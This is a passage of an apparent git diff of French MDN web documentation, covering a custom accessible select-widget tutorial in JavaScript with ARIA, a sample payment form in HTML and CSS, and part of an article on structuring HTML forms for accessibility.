{{EmbedLiveSample("No_JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}{{EmbedLiveSample("JS",120,130, "", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Exemple_2")}}
Testez le code source
+ +
+

Note : Si vous voulez vraiment rendre votre code générique et réutilisable, au lieu de faire un changement de classe, il est préférable d'ajouter la classe widget pour cacher les éléments {{HTMLElement("select")}} et d'ajouter dynamiquement l'arbre DOM représentant le widget personnalisé après chaque élément {{HTMLElement("select")}} dans la page.

+
+ +

Rendre le travail plus facile

+ +

 

+ +

Dans le code que nous sommes sur le point de construire, nous utiliserons l'API standard DOM pour faire tout le travail dont nous avons besoin. Cependant, bien que la prise en charge de l'API DOM se soit améliorée dans les navigateurs, il y a toujours des problèmes avec les anciens navigateurs (surtout avec le bon vieux navigateur Internet Explorer).

+ +

Si vous voulez éviter les problèmes avec les navigateurs anciens, il y a deux façons de le faire : en utilisant un framework dédié tel que jQuery, $dom, prototype, Dojo, YUI ou similaire, ou bien en remplissant la fonctionnalité manquante que vous voulez utiliser (ce qui peut facilement être fait par un chargement conditionnel, avec la bibliothèque yepnope par exemple).

+ +

Les fonctionnalités que nous prévoyons d'utiliser sont les suivantes (classées de la plus risquée à la plus sûre) :

+ +
    +
  1. {{domxref("element.classList","classList")}}
    2. +
  2. {{domxref("EventTarget.addEventListener","addEventListener")}}
    3. +
  3. forEach (ce n'est pas du DOM mais du JavaScript moderne)
    4. +
  4. {{domxref("element.querySelector","querySelector")}} et {{domxref("element.querySelectorAll","querySelectorAll")}}
    5. +
+ +

Au-delà de la disponibilité de ces fonctionnalités spécifiques, il reste encore un problème avant de commencer. L'objet retourné par la fonction {{domxref("element.querySelectorAll","querySelectorAll()")}} est une {{domxref("NodeList")}} plutôt qu'un Array. C'est important, car les objets  Array acceptent la fonction forEach, mais {{domxref("NodeList")}} ne le fait pas. Comme {{domxref("NodeList")}} ressemble vraiment à un Array et que forEach est d'utilisation si commode, nous pouvons facilement ajouter la prise en charge de forEach à {{domxref("NodeList")}} pour nous faciliter la vie, comme ceci :

+ +
NodeList.prototype.forEach = function (callback) {
+  Array.prototype.forEach.call(this, callback);
+}
+ +

On ne plaisantait pas quand on a dit que c'était facile à faire.

+ +

Construction des fonctions de rappel d'événements

+ +

Les fondations sont prêtes, nous pouvons maintenant commencer à définir toutes les fonctions à utiliser chaque fois que l'utilisateur interagit avec notre widget.

+ +
// Cette fonction est utilisée chaque fois que nous voulons désactiver un
+// widget personnalisé. Elle prend un paramètre
+// select : le nœud DOM avec la classe select à désactiver
+function deactivateSelect(select) {
+
+  // Si le widget n'est pas actif, il n'y a rien à faire
+  if (!select.classList.contains('active')) return;
+
+  // Nous devons obtenir la liste des options pour le widget personnalisé
+  var optList = select.querySelector('.optList');
+
+  // Nous cachons la liste des options
+  optList.classList.add('hidden');
+
+  // et nous désactivons le widget personnalisé lui-même
+  select.classList.remove('active');
+}
+
+// Cette fonction sera utilisée chaque fois que l'utilisateur veut (des)activer le widget
+// Elle prend deux paramètres :
+// select : le nœud DOM de la classe `select` à activer
+// selectList : la liste de tous les nœuds DOM de la classe `select`
+function activeSelect(select, selectList) {
+
+  // Si le widget est déjà actif il n'y a rien à faire
+  if (select.classList.contains('active')) return;
+
+  // Nous devons désactiver tous les widgets personnalisés
+  // comme la fonction deactivateSelect remplit toutes les fonctionnalités de la
+  // fonction de rappel forEach, nous l'utilisons directement sans utiliser
+  // une fonction anonyme intermédiaire.
+  selectList.forEach(deactivateSelect);
+
+  // Et nous activons l'état du widget donné
+  select.classList.add('active');
+}
+
+// Cette fonction sera utilisée chaque fois que l'utilisateur veut enrouler/dérouler la
+// liste des options
+// Elle prend un paramètre :
+// select : le nœud DOM de la liste à basculer
+function toggleOptList(select) {
+
+  // La liste est prise à partir du widget
+  var optList = select.querySelector('.optList');
+
+  // Nous changeons la classe de la liste pour l'enrouler/dérouler
+  optList.classList.toggle('hidden');
+}
+
+// Cett fonction sera utilisée chaque fois qu'il faut mettre en surbrillance
+// une option.  Elle prend deux paramètres :
+// select : le nœud DOM de la classe `select`
+//          contenant l'option à mettre en surbrillance
+// option : le nœud DOM de la classe `option` à mettre en surbrillance
+function highlightOption(select, option) {
+
+  // Obtenir la liste de toutes les options disponibles pour l'élémént sélectionné
+  var optionList = select.querySelectorAll('.option');
+
+  // Supprimer la surbrillance pour toutes les options
+  optionList.forEach(function (other) {
+    other.classList.remove('highlight');
+  });
+
+  // Mettre en surbrillance l'option correcte
+  option.classList.add('highlight');
+};
+ +

C'est tout ce dont on a besoin pour gérer les différents états du widget personnalisé.

+ +

Ensuite, nous assujettissons ces fonctions aux événement appropriés :

+ +
// Nous lions le widget aux événements dès le chargement du document
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Chaque widget personnalisé doit être initialisé
+  selectList.forEach(function (select) {
+
+    // de même que tous les éléments `option`
+    var optionList = select.querySelectorAll('.option');
+
+    // Chaque fois que l'utilisateur passe le pointeur de souris
+    // sur une option, nous mettons en surbrillance la dite option
+
+    optionList.forEach(function (option) {
+      option.addEventListener('mouseover', function () {
+        // Note : les variables `select` et `option` sont des "closures"
+        // disponibles dans la portée de notre appel de fonction.
+        highlightOption(select, option);
+      });
+    });
+
+    // Chaque fois que l'utilisateur clique sur un élément personnalisé
+    select.addEventListener('click', function (event) {
+      // Note : la variable `select` est une "closure"
+      // available dans la portée de notre appel de fonction.
+
+      // Nous basculons la visibilité de la liste des options
+      toggleOptList(select);
+    });
+
+    // Dans le cas où le widget obtient le focus
+    // Le widget obtient le focus chaque fois que l'utilisateur clique dessus
+    // ou presse la touche Tab pour avoir accès au widget
+    select.addEventListener('focus', function (event) {
+      // Note : les variable `select` et `selectList` sont des "closures"
+      // disponibles dans la portée de notre appel de fonction.
+
+      // Nous activons le widget
+      activeSelect(select, selectList);
+    });
+
+    // Dans le cas où le widget perd le focus
+    select.addEventListener('blur', function (event) {
+      // Note : la variable `select` est une "closure"
+      // disponible dans la portée de notre appel de fonction.
+
+      // Nous désactivons le widget
+      deactivateSelect(select);
+    });
+  });
+});
+ +

A ce stade, notre widget change d'état comme nous l'avons conçu, mais sa valeur n'est pas encore mise à jour. On s'en occupera après.

+ + + + + + + + + + + + + + + +
Exemple en direct
{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_3")}}
Revoir le code source
+ +

Gérer la valeur du widget

+ +

 

+ +

Maintenant que notre widget fonctionne, nous devons ajouter du code pour mettre à jour la valeur en fonction des entrées utilisateur et envoyer cette valeur avec les données du formulaire.

+ +

La façon la plus simple de le faire est d'utiliser un widget natif sous‑jacent. Un tel widget gardera une trace de la valeur avec tous les contrôles intégrés fournis par le navigateur, et la valeur sera envoyée comme d'habitude lorsque le formulaire sera soumis. Il ne sert à rien de réinventer la roue alors que tout cela peut être fait pour nous.

+ +

Comme nous l'avons vu précédemment, nous utilisons déjà un widget de sélection natif comme solution de repli pour des raisons d'accessibilité ; nous pouvons simplement synchroniser sa valeur avec celle de notre widget personnalisé :

+ +
// Cette fonction met à jour la valeur affichée et la synchronise avec celle
+// du widget natif. Elle prend deux paramètres :
+// select : le nœud DOM de la classe `select` contenant la valuer à mettre à jour
+// index  : l'index de la valeur choisie
+function updateValue(select, index) {
+  // Nous devons obtenir le widget natif correspondant au widget personnalisé
+  // Dans notre exemple, le widget natif est un parent du widget personnalisé
+  var nativeWidget = select.previousElementSibling;
+
+  // Nou devons aussi obtenir la valeur de remplacement du widget personnalisé
+  var value = select.querySelector('.value');
+
+  // Et nous avons besoin de toute la liste des options
+  var optionList = select.querySelectorAll('.option');
+
+  // Nous définissons l'index choisi à l'index du choix
+  nativeWidget.selectedIndex = index;
+
+  // Nous mettons à jour la valeur de remplacement en accord
+  value.innerHTML = optionList[index].innerHTML;
+
+  // Et nous mettons en surbrillance l'option correspondante du widget personnalisé
+  highlightOption(select, optionList[index]);
+};
+
+// Cette fonction renvoie l'index courant dans le widget natif
+// Elle prend un paramètre :
+// select : le nœud DOM avec la classe `select` relative au widget natif
+function getIndex(select) {
+  // Nous avons besoin d'avoir accès au widget natif pour le widget personnalisé
+  // Dans notre exemple, le widget natif est un parent du widget personnalisé
+  var nativeWidget = select.previousElementSibling;
+
+  return nativeWidget.selectedIndex;
+};
+ +

Avec ces deux fonctions, nous pouvons lier les widgets natifs avec les personnalisés :

+ +
// Nous lions le widget aux événements dès le chargement du document
+window.addEventListener('load', function () {
+  var selectList = document.querySelectorAll('.select');
+
+  // Chaque widget personnalisé doit être initialisé
+  selectList.forEach(function (select) {
+    var optionList = select.querySelectorAll('.option'),
+        selectedIndex = getIndex(select);
+
+    // Nous rendons le widget personnalisé capable d'avoir le focus
+    select.tabIndex = 0;
+
+    // Nous faisons en sorte que le widget natif ne puisse plus avoir le focus
+    select.previousElementSibling.tabIndex = -1;
+
+    // Nous nous assurons que la valeur sélectionnée par défaut est bien affichée
+    updateValue(select, selectedIndex);
+
+    // Chaque fois que l'utilisateur clique sur une option, nous mettons à
+    // jour la valeur en accord
+    optionList.forEach(function (option, index) {
+      option.addEventListener('click', function (event) {
+        updateValue(select, index);
+      });
+    });
+
+    // Chaque fois que l'utilisateur utilise le clavier sur un widget
+    // avec focus, les valeurs sont mises à jour en accord
+
+    select.addEventListener('keyup', function (event) {
+      var length = optionList.length,
+          index  = getIndex(select);
+
+      // Quand l'utilisateur presse ⇓, nous allons à l'option suivante
+      if (event.keyCode === 40 && index < length - 1) { index++; }
+
+      // Quand l'utilisateur presse ⇑, nous sautons à l'option suivante
+      if (event.keyCode === 38 && index > 0) { index--; }
+
+      updateValue(select, index);
+    });
+  });
+});
+ +

Dans le code ci-dessus, il faut noter l'utilisation de la propriété tabIndex. Utiliser cette propriété est nécessaire pour être sûr que le widget natif n'obtiendra jamais le focus et que le widget personnalisé l'obtiendra quand l'utilisateur utilise le clavier ou la souris.

+ +

Et voilà, nous avons terminé ! Voici le résultat :

+ + + + + + + + + + + + + + + +
Exemple en direct
{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_4")}}
Revoir le code source
+ +

Mais attendez, avons‑nous vraiment terminé ?

+ +

Le rendre « accessible »

+ +

 

+ +

Nous venons de faire quelque chose qui fonctionne, même si nous sommes loin d'avoir une boîte de sélection avec toutes les fonctionnalités, elle fonctionne parfaitement. Mais ce que nous avons fait n'est rien de plus que de jouer avec les DOM. Elle n'a pas de sémantique réelle, et même si elle ressemble à une boîte de sélection, du point de vue du navigateur, ce n'en est pas une, de sorte que les technologies d'assistance ne pourront pas comprendre que c'est une boîte de sélection. Bref, cette jolie nouvelle boîte de sélection n'est pas accessible !

+ +

Heureusement, il existe une solution et elle s'appelle ARIA. ARIA signifie « Accessible Rich Internet Application » et c'est une norme W3C spécialement conçue pour ce que nous faisons ici : rendre accessibles les applications web et les widgets personnalisés. Il s'agit essentiellement d'un ensemble d'attributs qui étendent le HTML afin que nous puissions mieux décrire les rôles, les états et les propriétés comme si l'élément que nous venons de concevoir était l'élément natif pour lequel il essaie de passer. L'utilisation de ces attributs est très simple, alors faisons-le.

+ +

L'attribut role

+ +

L'attribut clé utilisé par ARIA est l'attribut role. L'attribut role  accepte une valeur qui définit à quoi sert un élément. Chaque rôle définit ses propres exigences et comportements. Dans notre exemple, nous utiliserons le rôle de listbox. C'est un « rôle composite », ce qui signifie que les éléments ayant ce rôle s'attendent à avoir des enfants, chacun avec un rôle spécifique (dans ce cas, au moins un enfant avec le rôle option).

+ +

Il faut aussi noter qu'ARIA définit les rôles appliqués par défaut aux balises HTML standard. Par exemple, l'élément {{HTMLElement("table")}} correspond au rôle grid, et l'élément {{HTMLElement("ul")}} correspond au rôle list. Comme nous utilisons un élément {{HTMLElement("ul")}}, nous voulons nous assurer que le rôle listbox de notre widget remplacera le rôle list de l'élément {{HTMLElement("ul")}}. À cette fin, nous utiliserons le rôle presentation. Ce rôle est conçu pour nous permettre d'indiquer qu'un élément n'a pas de signification particulière, et est utilisé uniquement pour présenter de l'information. Nous l'appliquerons à notre élément {{HTMLElement("ul")}}.

+ +

Pour prendre en charge le rôle listbos, nous n'avons qu'à mettre à jour notre HTML comme ceci :

+ +
<!-- Nous ajoutons le role="listbox" en attribut de l'élément de tête -->
+<div class="select" role="listbox">
+  <span class="value">Cherry</span>
+  <!-- Nous ajoutons aussi le role="presentation" à l'élément ul -->
+  <ul class="optList" role="presentation">
+    <!-- et le rôle="option" en attribut de tous les éléments li -->
+    <li role="option" class="option">Cherry</li>
+    <li role="option" class="option">Lemon</li>
+    <li role="option" class="option">Banana</li>
+    <li role="option" class="option">Strawberry</li>
+    <li role="option" class="option">Apple</li>
+  </ul>
+</div>
+ +
+

Note : Inclure à la fois l'attribut role et l'attribut class n'est nécessaire que si vous souhaitez prendre en charge les navigateurs anciens qui n'acceptent pas les selecteurs d'attribut CSS.

+
+ +

L'attribut  aria-selected

+ +

Utiliser l'attribut role ne suffit pas. ARIA fournit également de nombreux états et attributs de propriété. Plus vous les utiliserez, mieux votre widget sera compris par les techniques d'assistance. Dans notre cas, nous limiterons notre utilisation à un seul attribut : aria-selected.

+ +

L'attribut aria-selected s'utilise pour marquer l'option actuellement sélectionnée ; ceci permet aux techniques d'assistance d'informer l'utilisateur quelle est la sélection en cours. Nous l'utiliserons dynamiquement avec JavaScript pour marquer l'option sélectionnée chaque fois que l'utilisateur en choisit une. Pour cela, nous devons réviser la fonction updateValue() :

+ +
function updateValue(select, index) {
+  var nativeWidget = select.previousElementSibling;
+  var value = select.querySelector('.value');
+  var optionList = select.querySelectorAll('.option');
+
+  // Nous nous assurons qu'aucune option n'est sélectionnée
+  optionList.forEach(function (other) {
+    other.setAttribute('aria-selected', 'false');
+  });
+
+  // Nous nous assurons que l'option choisie est sélectionnée
+  optionList[index].setAttribute('aria-selected', 'true');
+
+  nativeWidget.selectedIndex = index;
+  value.innerHTML = optionList[index].innerHTML;
+  highlightOption(select, optionList[index]);
+};
+ +

Voici le résultat final de toutes ces modifications (vous obtiendrez un meilleur ressenti en les testant avec une technique d'assistance comme NVDA ou VoiceOver) :

+ + + + + + + + + + + + + + + +
Exemple en direct
{{EmbedLiveSample("Change_states",120,130, "", "/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés/Example_5")}}
Revoir le code source
+ +

Conclusion

+ +

Nous venons de voir les bases pour la construction d'un widget de formulaire personnalisé, mais comme vous avez pu le voir, ce n'est pas facile à faire, et il est souvent préférable et plus facile de s'appuyer sur des bibliothèques tierces au lieu de les coder vous-même (sauf, bien sûr, si vous souhaitez bâtir une telle bibliothèque).

+ +

Voici quelques bibliothèques à prendre en considération avant de coder les vôtres :

+ + + +

Si vous voulez aller plus loin, le code de cet exemple mérite quelques amélioration avant de devenir générique et réutilisable. C'est un exercice que vous pouvez essayer de faire. Deux conseils pour vous aider : le premier argument pour toutes nos fonctions est le même, ce qui signifie que ces fonctions ont besoin du même contexte. Il serait avisé de construire un objet pour partager ce contexte. En outre, vous devrez éprouver ses fonctionnalités, c'est-à-dire qu'il doit pouvoir fonctionner avec les divers navigateurs dont la compatibilité avec les normes Web qu'ils utilisent varie. Amusez-vous bien !

+ +

{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Validation_donnees_formulaire", "Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript", "Web/Guide/HTML/Formulaires")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/forms/how_to_structure_a_web_form/example/index.html b/files/fr/learn/forms/how_to_structure_a_web_form/example/index.html new file mode 100644 index 0000000000..91cd643bd1 --- /dev/null +++ b/files/fr/learn/forms/how_to_structure_a_web_form/example/index.html @@ -0,0 +1,166 @@ +--- +title: Exemple +slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML/Exemple +translation_of: Learn/Forms/How_to_structure_a_web_form/Example +--- +

Ceci est un exemple de formulaire de paiement basique extrait de l'article Comment structurer un formulaire HTML.

+ +

Un formulaire de paiement

+ +

Contenu HTML

+ +
<form>
+        <h1>Formulaire de paiement</h1>
+        <p>Les champs obligatoires sont suivis par <strong><abbr title="required">*</abbr></strong>.</p>
+        <section>
+            <h2>Informations de contact</h2>
+            <fieldset>
+              <legend>Qualité</legend>
+              <ul>
+                  <li>
+                    <label for="title_1">
+                      <input type="radio" id="title_1" name="title" value="M." >
+                      Monsieur
+                    </label>
+                  </li>
+                  <li>
+                    <label for="title_2">
+                      <input type="radio" id="title_2" name="title" value="Mme.">
+                      Madame
+                    </label>
+                  </li>
+              </ul>
+            </fieldset>
+            <p>
+              <label for="name">
+                <span>Nom :</span>
+                <strong><abbr title="required">*</abbr></strong>
+              </label>
+              <input type="text" id="name" name="username">
+            </p>
+            <p>
+              <label for="mail">
+                <span>e-mail :</span>
+                <strong><abbr title="required">*</abbr></strong>
+              </label>
+              <input type="email" id="mail" name="usermail">
+            </p>
+            <p>
+              <label for="password">
+                <span>Mot de passe :</span>
+                <strong><abbr title="required">*</abbr></strong>
+              </label>
+              <input type="password" id="pwd" name="password">
+            </p>
+        </section>
+        <section>
+            <h2>Informations de paiement</h2>
+            <p>
+              <label for="card">
+                <span>Type de carte :</span>
+              </label>
+              <select id="card" name="usercard">
+                <option value="visa">Visa</option>
+                <option value="mc">Mastercard</option>
+                <option value="amex">American Express</option>
+              </select>
+            </p>
+            <p>
+              <label for="number">
+                <span>Numéro :</span>
+                <strong><abbr title="required">*</abbr></strong>
+              </label>
+                <input type="text" id="number" name="cardnumber">
+            </p>
+            <p>
+              <label for="date">
+                <span>Validité :</span>
+                <strong><abbr title="required">*</abbr></strong>
+                <em>format mm/aa</em>
+              </label>
+              <input type="text" id="date" name="expiration">
+            </p>
+        </section>
+        <section>
+            <p> <button type="submit">Valider le paiement</button> </p>
+        </section>
+    </form>
+ +

Contenu CSS

+ +
      h1 {
+          margin-top: 0;
+      }
+
+      ul {
+          margin: 0;
+          padding: 0;
+          list-style: none;
+      }
+
+      form {
+          margin: 0 auto;
+          width: 450px;
+          padding: 1em;
+          border: 1px solid #CCC;
+          border-radius: 1em;
+      }
+
+      div+div {
+          margin-top: 1em;
+      }
+
+      label span {
+          display: inline-block;
+          width: 120px;
+          text-align: right;
+      }
+
+      input, textarea {
+          font: 1em sans-serif;
+          width: 250px;
+          box-sizing: border-box;
+          border: 1px solid #999;
+      }
+
+      input[type=checkbox], input[type=radio] {
+          width: auto;
+          border: none;
+      }
+
+      input:focus, textarea:focus {
+          border-color: #000;
+      }
+
+      textarea {
+          vertical-align: top;
+          height: 5em;
+          resize: vertical;
+      }
+
+      fieldset {
+          width: 250px;
+          box-sizing: border-box;
+          margin-left: 146px;
+          border: 1px solid #999;
+      }
+
+      button {
+          margin: 20px 0 0 124px;
+      }
+
+      label {
+        position: relative;
+      }
+
+      label em {
+        position: absolute;
+        right: 5px;
+        top: 20px;
+      }
+ +

Résultat

+ +

{{ EmbedLiveSample("Un_formulaire_de_paiement", "100%", "620") }}

+ +

 

diff --git a/files/fr/learn/forms/how_to_structure_a_web_form/index.html b/files/fr/learn/forms/how_to_structure_a_web_form/index.html new file mode 100644 index 0000000000..f7d2e7db7d --- /dev/null +++ b/files/fr/learn/forms/how_to_structure_a_web_form/index.html @@ -0,0 +1,310 @@ +--- +title: Comment structurer un formulaire HTML +slug: Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML +tags: + - Apprentissage + - Débutant + - Exemple + - Formulaires + - Guide + - HTML + - Structure + - Web +translation_of: Learn/Forms/How_to_structure_a_web_form +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML", "Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs", "Web/Guide/HTML/Formulaires")}}
+ +

Les bases vues, nous examinons maintenant plus en détail les éléments utilisés pour structurer et donner un sens aux différentes parties d'un formulaire.

+ + + + + + + + + + + + +
Prérequis :Notions concernant les ordinateurs et les connaissances de base du HTML.
Objectif :Comprendre comment structurer les formulaires HTML et leur adjoindre la sémantique pour qu'ils soient utilisables et accessibles.
+ +

La souplesse des formulaires HTML fait d'eux une des structures les plus complexes en HTML. vous pouvez construire n'importe quel type de formulaire basique en utilisant les éléments et attributs qui leur sont dédiés. En utilisant une architecture correcte lors de la construction d'un formulaire, vous serez sûrs que le formulaire est à la fois utilisable et accessible.

+ +

L'élément <form>

+ +

L'élément {{HTMLElement("form")}} définit conventionnellement un formulaire et des attributs qui déterminent le comportement du‑dit formulaire. Chaque fois que vous voulez créer un formulaire HTML, vous devez le débuter par cet élément et mettre tout son contenu à l'intérieur. De nombreuses techniques d'assistance ou greffons de navigateur peuvent détecter les éléments {{HTMLElement("form")}} et implémenter des accroches spéciales pour les rendre plus faciles à utiliser.

+ +

Nous l'avons déjà rencontré dans l'article précédent.

+ +
Note : Il est strictement interdit d'imbriquer un formulaire dans un autre formulaire. L'imbrication peut conduire à des comportements imprévisibles selon le navigateur utilisé.
+ +

Notez qu'il est toujours possible d'utiliser un widget de formulaire en dehors d'un élément {{HTMLElement("form")}} mais si vous le faites, ce widget de formulaire n'a rien à voir avec un formulaire. De tels widgets peuvent être utilisés en dehors d'un formulaire, mais alors vous devriez avoir un plan spécial pour de tels widgets, puisqu'ils ne feront rien tout seuls. Vous devrez personnaliser leur comportement avec JavaScript.

+ +
+

Note: HTML5 introduit l'attribut form dans les éléments form du HTML. Il devrait vous permettre de lier explicitement un élément avec un formulaire même s'il n'est pas inclus dans un {{ HTMLElement("form") }}. Malheureusement, pour l'instant, l'implémentation de cette fonctionnalité dans les navigateurs n'est pas encore assez fiable.

+
+ +

Les éléments <fieldset> et <legend>

+ +

L'élément {{HTMLElement("fieldset")}} est un moyen pratique de créer des groupes de widgets qui partagent le même but, pour le style et la sémantique. Vous pouvez étiqueter un {{HTMLElement("fieldset")}} en incluant un élément {{HTMLElement("legend")}} juste en dessous de la balise d'ouverture <fieldset>. Le contenu textuel de l'élément {{HTMLElement("legend")}} décrit formellement le but de l'élément {{HTMLElement("fieldset")}} inclus à l'intérieur.

+ +

De nombreuses technologies d'assistance utiliseront l'élément {{HTMLElement("legend")}} comme s'il faisait partie de l'étiquette de chaque widget à l'intérieur de l'élément {{HTMLElement("fieldset")}} correspondant. Par exemple, certains lecteurs d'écran comme Jaws ou NVDA énonceront le contenu de la légende avant d'indiquer l'étiquette de chaque widget.

+ +

Voici un petit exemple :

+ +
<form>
+  <fieldset>
+    <legend>Taille du jus de fruits</legend>
+    <p>
+      <input type="radio" name="size" id="size_1" value="small">
+      <label for="size_1">Petite</label>
+    </p>
+    <p>
+      <input type="radio" name="size" id="size_2" value="medium">
+      <label for="size_2">Moyenne</label>
+    </p>
+    <p>
+      <input type="radio" name="size" id="size_3" value="large">
+      <label for="size_3">Grande</label>
+    </p>
+  </fieldset>
+</form>
+ +
+

Note : Vous trouverez cet exemple dans fieldset-legend.html (voir directement aussi).

+
+ +

En lisant le formulaire ci-dessus, un lecteur d'écran dira « Taille du jus de fruit : petit » pour le premier widget, « Taille du jus de fruit : moyenne » pour le second, et « Taille du jus de fruit : grande » pour le troisième.

+ +

Le scenario d'utilisation du lecteur dans cet exemple est l'un des plus importants. Chaque fois que vous avez un ensemble de boutons radio, vous devez les imbriquer dans un élément {{HTMLElement("fieldset")}}. Il y a d'autres scenarii d'utilisation, et en général l'élément {{HTMLElement("fieldset")}} peut aussi être utilisé pour partager un formulaire. Idéalement, les formulaires longs doivent être éclatés sur plusieurs pages, mais si un formulaire long doit être sur une page unique, le fait de placer les différentes sections connexes dans de différents {{HTMLElement("fieldset")}} peut en améliorer l'utilisation.

+ +

En raison de son influence sur les techniques d'assistance, l'élément {{HTMLElement("fieldset")}} est l'un des éléments clés pour la création de formulaires accessibles ; cependant, il vous appartient de ne pas en abuser. Si possible, chaque fois que vous créez un formulaire, essayez d'écouter comment un lecteur d'écran l'interprète. Si cela ne paraît pas naturel, essayez d'améliorer la structure du formulaire.

+ +

L'élément <label>

+ +

Comme nous l'avons vu dans l'article précédent, l'élément {{HTMLElement("label")}} est le moyen naturel de définir une étiquette pour un widget de formulaire HTML. C'est l'élément le plus important si vous voulez créer des formulaires accessibles — lorsqu'ils sont correctement implémentés, les lecteurs d'écran énonceront l'étiquette d'un élément de formulaire selon toutes les instructions associées. Prenons cet exemple, que nous avons vu dans l'article précédent :

+ +
<label for="name">Nom :</label> <input type="text" id="name" name="user_name">
+ +

Avec un élément <label> correctement associé à <input> par l'intermédiaire respectivement des attributs for et id (l'attribut for de <label> référence l'attibut id du widget correspondant), un lecteur d'écran lira et dira quelque chose comme « Nom, texte indiqué ».

+ +

Si l'étiquette n'est pas correctement paramétrée, le lecteur d'écran dira quelque chose comme « Texte édité vierge », ce qui n'est pas utile du tout.

+ +

Notez qu'un widget peut être incorporé dans son élément {{HTMLElement("label")}}, ainsi :

+ +
<label for="name">
+  Nom : <input type="text" id="name" name="user_name">
+</label>
+ +

Toutefois, même dans ce cas, il est considéré de bonne pratique de définir l'attribut for parce que certaines techniques d'assistance ne font pas implicitement le lien entre les étiquettes et les widgets.

+ +

Les étiquettes peuvent être cliquées, aussi !

+ +

Autre avantage de bien configurer les étiquettes : vous pouvez cliquer sur l'étiquette pour activer le widget correspondant, dans tous les navigateurs. Utile, par exemple, pour des entrées de texte : vous pouvez cliquer sur l'étiquette ou la zone de texte pour y obtenir le curseur, mais c'est encore plus utile pour les boutons radio et les cases à cocher — la surface active au clic pour une telle commande peut être très réduite, il est donc utile de l'agrandir autant que possible.

+ +

Par exemple :

+ +
<form>
+  <p>
+    <label for="taste_1">J'aime les cerises</label>
+    <input type="checkbox" id="taste_1" name="taste_cherry" value="1">
+  </p>
+  <p>
+    <label for="taste_2">J'aime les bananes</label>
+    <input type="checkbox" id="taste_2" name="taste_banana" value="2">
+  </p>
+</form>
+ +
+

Note : Vous trouverez cet exemple dans checkbox-label.html (à voir directement aussi).

+
+ +

Étiquettes multiples

+ +

En fait, il est possible d'associer plusieurs étiquettes à un seul widget, mais ce n'est pas une bonne idée car certaines techniques d'assistance peuvent éprouver du trouble pour leur gestion. Dans le cas d'étiquettes multiples, vous devez incorporer le widget et son étiquette dans un seul élément {{htmlelement("label")}}.

+ +

Considérons cet exemple :

+ +
<p>Les champs obligatoires sont suivis de <abbr title="required">*</abbr>.</p>
+
+<!-- Donc ceci : -->
+<div>
+  <label for="username">Nom :</label>
+  <input type="text" name="username">
+  <label for="username"><abbr title="required">*</abbr></label>
+</div>
+
+<!-- sera mieux programmé ainsi : -->
+<div>
+  <label for="username">
+    <span>Nom :</span>
+    <input id="username" type="text" name="username">
+    <abbr title="required">*</abbr>
+  </label>
+</div>
+
+<!-- mais ceci est probablement encore meilleur : -->
+<div>
+  <label for="username">Nom :<abbr title="required">*</abbr></label>
+  <input id="username" type="text" name="username">
+</div>
+ +

Le paragraphe du haut définit la règle pour les éléments obligatoires. Ce doit être au début pour s'assurer que les techniques d'assistance telles que les lecteurs d'écran l'afficheront ou le vocaliseront à l'utilisateur avant qu'il ne trouve un élément obligatoire. Ainsi, ils sauront ce que signifie l'astérisque. Un lecteur d'écran mentionnera l'astérisque en disant « astérisque » ou « obligatoire », selon les réglages du lecteur d'écran — dans tous les cas, ce qui sera dit est clairement précisé dans le premier paragraphe.

+ +
    +
  • Dans le premier exemple, l'étiquette n'est pas lue du tout avec l'entrée — vous obtenez simplement « texte édité vierge », puis les étiquettes réelles sont lues séparément. Les multiples éléments <label> embrouillent le lecteur d'écran.
    • +
  • Dans le deuxième exemple, les choses sont un peu plus claires — l'étiquette lue en même temps que l'entrée est « nom astérisque nom éditer texte », et les étiquettes sont toujours lues séparément. Les choses sont encore un peu confuses, mais c'est un peu mieux cette fois parce que l'entrée a une étiquette associée.
    • +
  • Le troisième exemple est meilleur — les véritables étiquettes sont toutes lues ensemble, et l'étiquette énoncée avec l'entrée est « nom astériquer éditer texte ».
    • +
+ +
+

Note : Vous pouvez obtenir des résultats légérement différents, selon votre lecteur d'écran. Ce qui précéde a été testé avec VoiceOver (et NVDA se comporte de la même façon). Nous aimerions avoir un retour sur vos expériences également.

+
+ +
+

Note : Vous trouverez cet exemple sur GitHub dans required-labels.html (à voir directement aussi). Ne lancez pas l'exemple avec 2 ou 3 version non mises en commentaires — le lecteur d'écran serait totalement embrouillé s'il y a plusieurs étiquettes ET plusieurs entrées avec le même ID !

+
+ +

Structures HTML courantes dans les formulaires

+ +

Au-delà des structures propres aux formulaires HTML,rappelons‑nous que les formulaires sont du pur HTML. Vous pouvez donc utiliser toute la puissance du HTML pour structurer un formulaire.

+ +

Comme vous avez pu le voir dans les exemples, il est de pratique courante d'envelopper une étiquette et son widget avec un élément {{HTMLElement("div")}}. Les éléments {{HTMLElement("p")}} sont aussi couramment utilisés, tout comme les listes HTML (ces dernières sont très courantes pour structurer plusieurs cases à cocher ou boutons radio).

+ +

En plus de l'élément {{HTMLElement("fieldset")}}, il est habituel d'utiliser des titres HTML (par exemple {{htmlelement("h1")}}, {{htmlelement("h2")}}) et des sections (par exemple {{htmlelement("section")}}) pour structurer un formulaire complexe.

+ +

Par-dessus tout, il vous appartient de trouver un style où vous vous sentez à l'aise pour coder, et qui se traduit aussi par des formulaires accessibles et utilisables.

+ +

Chaque groupe de fonctionnalités séparées doit être contenu dans un élément {{htmlelement("section")}} et les boutons radio dans un élément {{htmlelement("fieldset")}}.

+ +

Apprentissage actif : construire une structure de formulaire

+ +

